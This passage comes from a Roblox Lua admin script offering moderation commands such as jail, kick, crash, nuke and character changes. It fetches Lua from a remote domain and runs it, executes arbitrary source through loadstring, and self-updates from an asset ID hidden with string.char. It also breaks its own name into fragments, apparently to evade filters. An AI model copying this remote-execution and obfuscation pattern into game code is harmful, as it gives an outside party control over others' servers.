769 | Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua") | |
770 | if Source then | |
771 | ScriptCache[ResourceName] = Source | |
772 | end | |
773 | end | |
774 | ||
775 | if Data and Source then | |
776 | for Key,Value in pairs(Data) do | |
777 | Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value)) | |
778 | end | |
779 | end | |
780 | ||
781 | if Source then | |
782 | if NLS then | |
783 | ReturnScript = NLS(Source, Parent) | |
784 | elseif createLocalScriptWithSource then | |
785 | ReturnScript = createLocalScriptWithSource(Source) | |
786 | ReturnScript.Parent = Parent | |
787 | end | |
788 | end | |
789 | end | |
790 | return ReturnScript | |
791 | end | |
792 | ||
793 | function CORE:CreateRemotePropertyReader(Obj, Override) | |
794 | if Server.Workspace.FilteringEnabled == true or Override then | |
795 | local Reader = Instance.new("RemoteFunction", Obj) | |
796 | Reader.Name = "RemotePropertyReader" | |
797 | CORE:ExecuteResource("RemotePropertyReader", Reader) | |
798 | return Reader | |
799 | else | |
800 | return Obj | |
801 | end | |
802 | end | |
803 | ||
804 | function CORE:ReadProperty(Reader, Player, Property) | |
805 | if Reader:IsA("RemoteFunction") then | |
806 | return Reader:InvokeClient(Player, Property) | |
807 | else | |
808 | return Reader[Property] | |
809 | end | |
810 | end | |
811 | ||
812 | function CORE:WriteProperty(Reader, Player, Property, Value) | |
813 | if Reader:IsA("RemoteFunction") then | |
814 | return Reader:InvokeClient(Player, Property, Value) | |
815 | else | |
816 | return Reader[Property] | |
817 | end | |
818 | end | |
819 | ||
820 | ||
821 | function CORE:CreateRemoteEvent(Obj, EventName) | |
822 | local Event = Instance.new("RemoteEvent", Obj) | |
823 | Event.Name = "RemoteEvent_"..EventName | |
824 | CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName}) | |
825 | return Event | |
826 | end | |
827 | ||
828 | function CORE:HandleEvent(Obj, EventName, Func, NewThread) | |
829 | local function Handle() | |
830 | if Server.Workspace.FilteringEnabled == true then | |
831 | local Event = CORE:CreateRemoteEvent(Obj, EventName) | |
832 | return Event.OnServerEvent:connect(function(Player, ...) | |
833 | Func(...) | |
834 | end) | |
835 | else | |
836 | return Obj[EventName]:connect(Func) | |
837 | end | |
838 | end | |
839 | if NewThread then | |
840 | Spawn(Handle) | |
841 | else | |
842 | Handle() | |
843 | end | |
844 | end | |
845 | ||
846 | function CORE:HandleError(Error, Speaker) | |
847 | local Return = "" | |
848 | if not Error or Error == "" then | |
849 | Return = "Unknown Error" | |
850 | else | |
851 | Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error) | |
852 | end | |
853 | if Speaker then | |
854 | GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error") | |
855 | end | |
856 | return Return | |
857 | end | |
858 | ||
859 | local function ExecuteSafe(Source, Speaker) -- no CORE | |
860 | local Script, Error = loadstring(Source) | |
861 | if Error then | |
862 | return false, CORE:HandleError(Error, Speaker) | |
863 | else | |
864 | getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE | |
865 | getfenv(Script).Server, getfenv(Script).script = Server,script | |
866 | if Speaker then | |
867 | getfenv(Script).print = function(...) | |
868 | GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output") | |
869 | end | |
870 | getfenv(Script).print_array = function(List) | |
871 | if type(List) == "table" then | |
872 | GUI:ListGui(Speaker, "Listed Table", List, "Output") | |
873 | end | |
874 | end | |
875 | end | |
876 | ||
877 | local Suc, Error = ypcall(coroutine.wrap(Script)) | |
878 | ||
879 | if not Suc then | |
880 | Error = CORE:HandleError(Error, Speaker) | |
881 | end | |
882 | ||
883 | return Suc,Error | |
884 | end | |
885 | end | |
886 | ||
887 | function CORE:GetTime(Regular, FullDate) | |
888 | if Regular == nil then Regular = true end | |
889 | local Meridiem = "" | |
890 | if Regular == true then Meridiem = " AM" end | |
891 | local SecondsOfToday = math.fmod(os.time(), 60*60*24) | |
892 | local Hour = math.floor(SecondsOfToday / (60*60)) | |
893 | local Minute = math.floor(SecondsOfToday/60 - Hour*60) | |
894 | local Second = math.floor(math.fmod(SecondsOfToday, 60)) | |
895 | if Hour > 12 and Regular == true then | |
896 | Hour = Hour - 12 | |
897 | Meridiem = " PM" | |
898 | end | |
899 | Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second) | |
900 | if #Hour <= 1 then Hour = "0"..Hour end | |
901 | if #Minute <= 1 then Minute = "0"..Minute end | |
902 | if #Second <= 1 then Second = "0"..Second end | |
903 | local Return = Hour..":"..Minute..":"..Second..Meridiem | |
904 | if FullDate == true and Date then Return = Date.." "..Return end | |
905 | return Return | |
906 | end | |
907 | ||
908 | function CORE:RemoveAdmin(Speaker) | |
909 | local Answer = true -- false | |
910 | if not CORE:NilPlayer(Speaker) then | |
911 | Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"}) | |
912 | end | |
913 | if Answer == "Yes" or CORE:NilPlayer(Speaker) then | |
914 | if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end | |
915 | for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then | |
916 | for _,Item in pairs(Player:GetChildren()) do | |
917 | if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then | |
918 | Item:Destroy() | |
919 | end | |
920 | end | |
921 | for _,GUI in pairs(Player.PlayerGui:GetChildren()) do | |
922 | if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then | |
923 | GUI:Destroy() | |
924 | end | |
925 | end | |
926 | end end | |
927 | for _,Car in pairs(Cars) do | |
928 | Car:Destroy() | |
929 | end | |
930 | CORE:FixLighting() | |
931 | while wait() do | |
932 | if script:FindFirstChild("Override") then script.Override.Value = true end | |
933 | Settings,CORE,IRC = nil,{},{} | |
934 | if Sound then Sound:Stop() end | |
935 | if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end | |
936 | script:ClearAllChildren() script:Destroy() script.Disabled = true | |
937 | end | |
938 | end | |
939 | end | |
940 | ||
941 | function CORE:MakeBase() | |
942 | for _,Get in pairs(Workspace:GetChildren()) do | |
943 | if Get.Name == "Base" or Get.Name == "BasePlate" then | |
944 | Get:Destroy() | |
945 | end | |
946 | end | |
947 | local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true | |
948 | end | |
949 | ||
950 | function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http) | |
951 | if IsAbusive == nil then IsAbusive = false end | |
952 | if Commands[CommandName] then table.remove(Commands[CommandName]) end | |
953 | Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http} | |
954 | end | |
955 | ||
956 | function CORE:FixLighting() coroutine.wrap(function() | |
957 | ModLighting = false | |
958 | wait(0.2) | |
959 | Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5) | |
960 | Server.Lighting.FogColor = Color3.new(0,0,0) | |
961 | Server.Lighting.Brightness = 1 | |
962 | Server.Lighting.TimeOfDay = 14 | |
963 | Server.Lighting.FogEnd = 100000 | |
964 | end)() end | |
965 | ||
966 | function CORE:Round(Number) | |
967 | if Number >= 0.5 then | |
968 | return math.ceil(Number) | |
969 | elseif Number < 0.5 then | |
970 | return math.floor(Number) | |
971 | end | |
972 | end | |
973 | ||
974 | local AdminID,Got = nil,false | |
975 | repeat wait() | |
976 | Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end) | |
977 | until Got == true | |
978 | ||
979 | function CORE:GetTable(ID) | |
980 | local Thing = nil | |
981 | repeat wait() | |
982 | ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end) | |
983 | until Thing | |
984 | return Thing | |
985 | end | |
986 | ||
987 | function CORE:InAdminGroup(Speaker) | |
988 | local IsIn = false | |
989 | for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do | |
990 | if Speaker:IsInGroup(Get) then | |
991 | IsIn = true | |
992 | end | |
993 | end | |
994 | if IsIn == true then | |
995 | return true | |
996 | else | |
997 | GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error") | |
998 | return false | |
999 | end | |
1000 | end | |
1001 | ||
1002 | function CORE:ReverseTable(Table) | |
1003 | if type(Table) ~= "table" then return Table end | |
1004 | local NewTable = {} | |
1005 | for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end | |
1006 | return NewTable | |
1007 | end | |
1008 | ||
1009 | function CORE:Log(LogTable, Player, Chat) | |
1010 | local PlayerName = tostring(Player) | |
1011 | if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end | |
1012 | table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat) | |
1013 | end | |
1014 | ||
1015 | function CORE:Jail(Player) | |
1016 | if not Player then return nil end | |
1017 | local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end | |
1018 | Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell" | |
1019 | local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true | |
1020 | local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5 | |
1021 | local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall | |
1022 | local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob" | |
1023 | Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back" | |
1024 | Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front" | |
1025 | Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back" | |
1026 | local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0) | |
1027 | Cell:MoveTo(Vector3.new(0,3,0)) | |
1028 | ||
1029 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
1030 | Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0)) | |
1031 | Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0)) | |
1032 | end | |
1033 | table.insert(Dispose, Cell) | |
1034 | Jails[Player.Name] = Cell | |
1035 | end | |
1036 | ||
1037 | function CORE:UnJail(Player) | |
1038 | if not Player then return nil end | |
1039 | if Jails[Player.Name] then | |
1040 | Jails[Player.Name]:Destroy() | |
1041 | Jails[Player.Name] = nil | |
1042 | end | |
1043 | end | |
1044 | ||
1045 | function CORE:ChangeName(Player, NewName) | |
1046 | if not Player or not NewName then return nil end | |
1047 | if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then | |
1048 | local NewName = STRING:FormatReplace(Player, NewName) | |
1049 | ||
1050 | for _,Obj in pairs(Player.Character:GetChildren()) do | |
1051 | if Obj.Name == "Label" then Obj:Destroy() end | |
1052 | end | |
1053 | ||
1054 | local Head = Player.Character.Head | |
1055 | local HeadClone = Head:Clone() | |
1056 | ||
1057 | -- make actual head invisible | |
1058 | Head.Transparency = 1 | |
1059 | ypcall(function() Head.face.Transparency = 1 end) | |
1060 | ||
1061 | -- make fake head visible | |
1062 | HeadClone.Transparency = 0 | |
1063 | ypcall(function() HeadClone.face.Transparency = 0 end) | |
1064 | ||
1065 | local Label = Instance.new("Model", Player.Character) | |
1066 | Label.Name = "Label" | |
1067 | ||
1068 | local Model = Instance.new("Model", Label) | |
1069 | Model.Name = NewName | |
1070 | ||
1071 | local HumanoidClone = Instance.new("Humanoid", Model) | |
1072 | coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)() | |
1073 | ||
1074 | HeadClone.Position = Vector3.new(0,100,0) | |
1075 | HeadClone.CanCollide = false | |
1076 | ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end) | |
1077 | ||
1078 | ||
1079 | Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created | |
1080 | HeadClone.Parent = Model | |
1081 | local Weld = Instance.new("Weld", HeadClone) | |
1082 | Weld.Part0 = HeadClone | |
1083 | Weld.Part1 = Head | |
1084 | end) | |
1085 | end | |
1086 | end | |
1087 | ||
1088 | function CORE:UpdateAdmin() | |
1089 | if Server.Storage:FindFirstChild("PreventMMLUpdate") then | |
1090 | return nil | |
1091 | end | |
1092 | local UpdateModel = AdminID | |
1093 | if UpdateModel == 0 then return end | |
1094 | local NewAdminModel = nil | |
1095 | ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end) | |
1096 | if NewAdminModel then | |
1097 | local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true) | |
1098 | if NewAdmin then | |
1099 | local NewVersion = NewAdmin:FindFirstChild("Version") | |
1100 | if NewVersion.Value ~= CORE.Version.Value then | |
1101 | if ExploitModule then | |
1102 | ExploitModule.Disabled = true | |
1103 | ExploitModule:Destroy() | |
1104 | end | |
1105 | NewAdmin.Disabled = true | |
1106 | NewAdmin.Parent = Workspace | |
1107 | if not Settings then | |
1108 | local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true) | |
1109 | if NewSettings then NewSettings.Parent = Workspace end | |
1110 | end | |
1111 | wait() NewAdmin.Disabled = false | |
1112 | CORE:RemoveAdmin() | |
1113 | else | |
1114 | NewAdminModel:Destroy() | |
1115 | end | |
1116 | end | |
1117 | end | |
1118 | end | |
1119 | ||
1120 | function CORE:UnpackPlayers(Players) | |
1121 | local PlayerNames = "" | |
1122 | for Num,Player in pairs(Players) do | |
1123 | if Player ~= nil then | |
1124 | if Num ~= #Players then | |
1125 | PlayerNames = PlayerNames..Player.Name..", " | |
1126 | else | |
1127 | PlayerNames = PlayerNames..Player.Name | |
1128 | end | |
1129 | end | |
1130 | end | |
1131 | return PlayerNames | |
1132 | end | |
1133 | ||
1134 | function CORE:GetValue(Value) | |
1135 | if Value:IsA("StringValue") then | |
1136 | if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end | |
1137 | if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end | |
1138 | if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end | |
1139 | if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end | |
1140 | if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end | |
1141 | if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end | |
1142 | if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then | |
1143 | for Num,Admin in pairs(Settings.Ranks["Admin"]) do | |
1144 | if Admin == Value.Value then | |
1145 | table.remove(Settings.Ranks["Admin"],Num) | |
1146 | end | |
1147 | end | |
1148 | end end | |
1149 | end | |
1150 | end | |
1151 | ||
1152 | function CORE:GetPlayer(ID) | |
1153 | local Return = {"Unknown", ID} | |
1154 | if tonumber(ID) then | |
1155 | for _,Data in pairs(CharacterCache) do | |
1156 | if ID == Data[2] then | |
1157 | return Data | |
1158 | end | |
1159 | end | |
1160 | ypcall(function() | |
1161 | local Name = Server.Players:GetNameFromUserIdAsync(ID) | |
1162 | if Name then | |
1163 | local Data = {Name, ID} | |
1164 | table.insert(CharacterCache, Data) | |
1165 | Return = Data | |
1166 | end | |
1167 | end) | |
1168 | else | |
1169 | local Name = tostring(ID) | |
1170 | for _,Data in pairs(CharacterCache) do | |
1171 | if string.lower(Name) == string.lower(Data[1]) then | |
1172 | return Data | |
1173 | end | |
1174 | end | |
1175 | ypcall(function() | |
1176 | local PlayerID = Server.Players:GetUserIdFromNameAsync(Name) | |
1177 | if PlayerID then | |
1178 | Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name | |
1179 | local Data = {Name, PlayerID} | |
1180 | table.insert(CharacterCache, Data) | |
1181 | Return = Data | |
1182 | end | |
1183 | end) | |
1184 | end | |
1185 | ||
1186 | return Return | |
1187 | end | |
1188 | ||
1189 | function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function() | |
1190 | if ID and #tostring(ID) >= 1 then | |
1191 | local PlayerName = nil | |
1192 | ||
1193 | local Players = STRING:Scan(ID, Speaker) | |
1194 | if #Players >= 1 then -- if player is found in server | |
1195 | ID = Players[1].UserId | |
1196 | elseif tonumber(ID) then | |
1197 | local Data = CORE:GetPlayer(ID) | |
1198 | PlayerName = Data[1] | |
1199 | else | |
1200 | local Data = CORE:GetPlayer(tostring(ID)) | |
1201 | PlayerName = Data[1] | |
1202 | ID = Data[2] | |
1203 | end | |
1204 | ||
1205 | if tonumber(ID) == 20018 then -- exploding easter bunny | |
1206 | local OldID = ID | |
1207 | ID = 1 | |
1208 | if Speaker then | |
1209 | if RANK:GetRank(Speaker) == "Member" then | |
1210 | coroutine.wrap(function() | |
1211 | wait(1) | |
1212 | GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10) | |
1213 | end)() | |
1214 | else ID = OldID | |
1215 | end | |
1216 | end | |
1217 | elseif tonumber(ID) == 1311 then -- ffjosh | |
1218 | local OldID = ID | |
1219 | ID = 1 | |
1220 | if Speaker then | |
1221 | if RANK:GetRank(Speaker) == "Member" then | |
1222 | coroutine.wrap(function() | |
1223 | wait(1) | |
1224 | GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10) | |
1225 | end)() | |
1226 | else ID = OldID | |
1227 | end | |
1228 | end | |
1229 | end | |
1230 | ||
1231 | if tonumber(ID) then | |
1232 | local Position = nil | |
1233 | if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then | |
1234 | if ManualPos then | |
1235 | Position = ManualPos | |
1236 | else | |
1237 | Position = Player.Character.Torso.Position | |
1238 | end | |
1239 | end | |
1240 | Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID | |
1241 | wait() Player:LoadCharacter() wait() | |
1242 | if Position then Player.Character:MoveTo(Position) end | |
1243 | if not Perm then | |
1244 | Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId | |
1245 | end | |
1246 | if NameChar and PlayerName then | |
1247 | wait(2) | |
1248 | CORE:ChangeName(Player, PlayerName) | |
1249 | end | |
1250 | end | |
1251 | end | |
1252 | end)() end | |
1253 | ||
1254 | function CORE:GenerateShield(Player) | |
1255 | if not Player then return nil end | |
1256 | if not Player.Character then return nil end | |
1257 | local Torso = Player.Character:FindFirstChild("Torso") | |
1258 | if not Torso then return nil end | |
1259 | ||
1260 | local Shield = Player.Character:FindFirstChild("Shield") | |
1261 | if Shield then Shield:Destroy() end | |
1262 | ||
1263 | Shield = Instance.new("Part", Player.Character) | |
1264 | Shield.Name = "Shield" | |
1265 | Shield.Locked = true | |
1266 | Shield.CanCollide = false | |
1267 | Shield.Size = Vector3.new(10,10,10) | |
1268 | Shield.Shape = "Ball" | |
1269 | Shield.Color = GUI:GetColor() | |
1270 | Shield.Transparency = 0.5 | |
1271 | Shield.TopSurface = "Smooth" | |
1272 | Shield.BottomSurface = "Smooth" | |
1273 | Shield.Anchored = true | |
1274 | Shield.Position = Torso.Position | |
1275 | ||
1276 | local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true) | |
1277 | local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false) | |
1278 | ||
1279 | Hum:Play() | |
1280 | ||
1281 | Shield.Touched:connect(function(Part) | |
1282 | if Part.Parent ~= Server.Workspace then | |
1283 | local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid") | |
1284 | if Humanoid then | |
1285 | local Char = Humanoid.Parent | |
1286 | if Char:IsA("Model") and Humanoid.Health > 0 then | |
1287 | if Char ~= Player.Character then | |
1288 | Char:BreakJoints() | |
1289 | Zap:Play() | |
1290 | end | |
1291 | end | |
1292 | end | |
1293 | end | |
1294 | end) | |
1295 | ||
1296 | coroutine.wrap(function() repeat wait() | |
1297 | Shield.CFrame = Torso.CFrame | |
1298 | until Torso.Parent == nil or Shield.Parent == nil end)() | |
1299 | end | |
1300 | ||
1301 | function CORE:FlingPlayer(Player) | |
1302 | if Player and Player.Character then | |
1303 | if Player.Character:FindFirstChild("Torso") then | |
1304 | local Fling = Instance.new("BodyForce", Player.Character.Torso) | |
1305 | Fling.Name = "Fling" | |
1306 | Fling.force = Vector3.new(10000,10000,10000) | |
1307 | end | |
1308 | end | |
1309 | end | |
1310 | ||
1311 | function CORE:Kick(Player, CustomMessage) | |
1312 | if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end | |
1313 | coroutine.wrap(function() | |
1314 | CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage}) | |
1315 | wait(1) | |
1316 | Player:Kick(CustomMessage) | |
1317 | end)() | |
1318 | end | |
1319 | ||
1320 | function CORE:Crash(Player) | |
1321 | local Parent = Player | |
1322 | if Player:FindFirstChild("Backpack") then Parent = Player.Backpack | |
1323 | elseif Player.Character then Parent = Player.Character end | |
1324 | ||
1325 | CORE:ExecuteResource("Crash", Parent) | |
1326 | end | |
1327 | ||
1328 | function CORE:RestoreCamera(Player) | |
1329 | if Player.Backpack then | |
1330 | CORE:ExecuteResource("RestoreCamera", Player.Backpack) | |
1331 | end | |
1332 | end | |
1333 | ||
1334 | function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc) | |
1335 | local function ScanInstance(Object) | |
1336 | if #Object:GetChildren() > 0 then | |
1337 | for _,Obj in pairs(Object:GetChildren()) do | |
1338 | local IsType = false | |
1339 | if ObjTypes and #ObjTypes > 0 then | |
1340 | for _,ObjType in pairs(ObjTypes) do | |
1341 | if Obj:IsA(ObjType) then | |
1342 | IsType = true | |
1343 | break | |
1344 | end | |
1345 | end | |
1346 | else | |
1347 | IsType = true | |
1348 | end | |
1349 | if IsType == true then | |
1350 | ActiveFunc(Obj) | |
1351 | end | |
1352 | ScanInstance(Obj) | |
1353 | end | |
1354 | end | |
1355 | end | |
1356 | ScanInstance(BaseObj) | |
1357 | end | |
1358 | ||
1359 | function CORE:AnchorPlayer(Player) | |
1360 | if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end | |
1361 | ||
1362 | Player.Character.Humanoid.WalkSpeed = 0 | |
1363 | for _,Object in pairs(Player.Character:GetChildren()) do | |
1364 | if Object:IsA("BasePart") then | |
1365 | Object.Anchored = true | |
1366 | end | |
1367 | end | |
1368 | end | |
1369 | ||
1370 | function CORE:UnanchorPlayer(Player) | |
1371 | if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end | |
1372 | ||
1373 | Player.Character.Humanoid.WalkSpeed = 16 | |
1374 | for _,Object in pairs(Player.Character:GetChildren()) do | |
1375 | if Object:IsA("BasePart") then | |
1376 | Object.Anchored = false | |
1377 | end | |
1378 | end | |
1379 | end | |
1380 | ||
1381 | function CORE:InvisiblePlayer(Player) | |
1382 | if not Player or not Player.Character then return end | |
1383 | ||
1384 | CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end) | |
1385 | end | |
1386 | ||
1387 | function CORE:VisiblePlayer(Player) | |
1388 | if not Player or not Player.Character then return end | |
1389 | ||
1390 | CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end) | |
1391 | end | |
1392 | ||
1393 | function CORE:Nuke(Player) coroutine.wrap(function() | |
1394 | local Pos = CFrame.new(0,1,0) | |
1395 | if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end | |
1396 | local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos | |
1397 | local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0) | |
1398 | local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0) | |
1399 | local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017" | |
1400 | local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2) | |
1401 | ||
1402 | local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2) | |
1403 | ||
1404 | Server.Lighting.Brightness = 5 | |
1405 | Server.Lighting.Ambient = Color3.new(1,0.5,0.5) | |
1406 | Server.OutdoorAmbient = Color3.new(1,1,1) | |
1407 | ||
1408 | local Exp = Instance.new("Explosion", Server.Workspace) | |
1409 | Exp.Position = Pos.p | |
1410 | Exp.BlastPressure = 10000000 | |
1411 | Exp.BlastRadius = 1000000 | |
1412 | Exp.Hit:connect(function(Part) | |
1413 | if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then | |
1414 | ypcall(function() | |
1415 | Part.Anchored = false | |
1416 | Part.BrickColor = BrickColor.new("Black") | |
1417 | Part.Material = "Slate" | |
1418 | Part:BreakJoints() | |
1419 | end) | |
1420 | end | |
1421 | end) | |
1422 | ||
1423 | local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false) | |
1424 | BoomSound:Play() | |
1425 | for i = 0,100,0.5 do | |
1426 | Blast.Anchored = true | |
1427 | Wave.Anchored = true | |
1428 | BlastMesh.Scale = Vector3.new(i,i,i) | |
1429 | WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5) | |
1430 | Blast.CFrame = Pos | |
1431 | wait() | |
1432 | end | |
1433 | BoomSound:Stop() | |
1434 | Blast:Destroy() | |
1435 | Wave:Destroy() | |
1436 | wait() | |
1437 | BoomSound:Destroy() | |
1438 | Effect:Destroy() | |
1439 | for i = 10,5,-1 do | |
1440 | Server.Lighting.Brightness = (i-5) + 1 | |
1441 | Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5) | |
1442 | Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10) | |
1443 | wait(0.05) | |
1444 | end | |
1445 | end)() end | |
1446 | ||
1447 | function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode) | |
1448 | local AssetID = tonumber(AssetID) | |
1449 | local Item = nil | |
1450 | if AssetID and AssetID ~= 1055299 then | |
1451 | local CanInsert = true | |
1452 | if AbuseMode then | |
1453 | for _,ID in pairs(RemoteAbuseGear) do | |
1454 | if AssetID == tonumber(ID) then CanInsert = false break end | |
1455 | end | |
1456 | for _,ID in pairs(Settings.AbusableGear) do | |
1457 | if AssetID == tonumber(ID) then CanInsert = false break end | |
